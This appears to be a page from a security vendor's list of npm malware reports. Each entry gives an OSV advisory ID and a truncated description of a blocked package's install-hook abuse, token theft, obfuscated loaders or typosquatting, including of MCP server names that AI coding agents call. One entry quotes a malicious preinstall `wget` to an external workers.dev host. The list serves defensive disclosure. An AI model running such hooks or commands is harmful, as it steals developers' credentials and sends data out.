npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 575
Updated 24 Oct 2026, 08:07 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-5752 blocks this version. package.json declares a preinstall lifecycle script that runs `wget --quiet "http://orwa-orwa.dev-node-lap.workers.dev/?use...
OpenSSF/OSV malware advisory MAL-2026-6185 blocks this version. On `npm install`, postinstall.js unconditionally reads the installer's `~/.npmrc` (which typically contains `//registry.npm...
OpenSSF/OSV malware advisory MAL-2026-5098 blocks this version. package.json declares `"postinstall": "node poc.js"`, which fires automatically on every `npm install`. poc.js reads `os.ho...
OpenSSF/OSV malware advisory MAL-2026-5087 blocks this version. buffer-utilities impersonates the legitimate `buffer` package by Feross Aboukhadijeh, copying its name, email, homepage, an...
OpenSSF/OSV malware advisory MAL-2026-4533 blocks this version. The npm package `codebuff-cli` impersonates the legitimate `codebuff` package (README copied verbatim from the official Cod...
OpenSSF/OSV malware advisory MAL-2026-5730 blocks this version. class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden...
OpenSSF/OSV malware advisory MAL-2026-6484 blocks this version. The package advertises itself as a 5-line random-string generator, but index.js (the declared main) contains a hardcoded AE...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5730 blocks this version. class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden...
OpenSSF/OSV malware advisory MAL-2026-5730 blocks this version. class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden...
OpenSSF/OSV malware advisory MAL-2026-6084 blocks this version. @array-util/nodepull@1.1.1 ships a single 19 KB obfuscated index.js as its main entry. On require()/import, the IIFE silenc...
OpenSSF/OSV malware advisory MAL-2026-5730 blocks this version. class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden...
OpenSSF/OSV malware advisory MAL-2026-6085 blocks this version. @hotcappuccino/nodepull@1.0.0 ships a single `index.js` (the package's declared `main`) that is wrapped in an obfuscator.io...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5730 blocks this version. class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden...
OpenSSF/OSV malware advisory MAL-2026-5730 blocks this version. class-synth is advertised as a small class/style/date utility library, but its main entry (dist/index.js) contains a hidden...
OpenSSF/OSV malware advisory MAL-2026-5753 blocks this version. Package advertises trivial form-validation helpers (notEmpty/isEmail/isPhone/maxLen/minLen) but on require/import of the ma...
OpenSSF/OSV malware advisory MAL-2026-5477 blocks this version. Package squats the unscoped name `mcp-server-figma`, which AI coding agents and developers commonly invoke via `npx mcp-ser...
OpenSSF/OSV malware advisory MAL-2026-5485 blocks this version. Package squats the unscoped name `mcp-server-supabase` to intercept `npx mcp-server-supabase` invocations intended for the...
OpenSSF/OSV malware advisory MAL-2026-5483 blocks this version. On `npm install`, the package's postinstall hook (scripts.postinstall: `node index.js`) collects host identifiers — `os.hos...
OpenSSF/OSV malware advisory MAL-2026-5480 blocks this version. Package occupies the unscoped name `mcp-server-notion` to catch misrouted installs of the scoped MCP Notion server. `packag...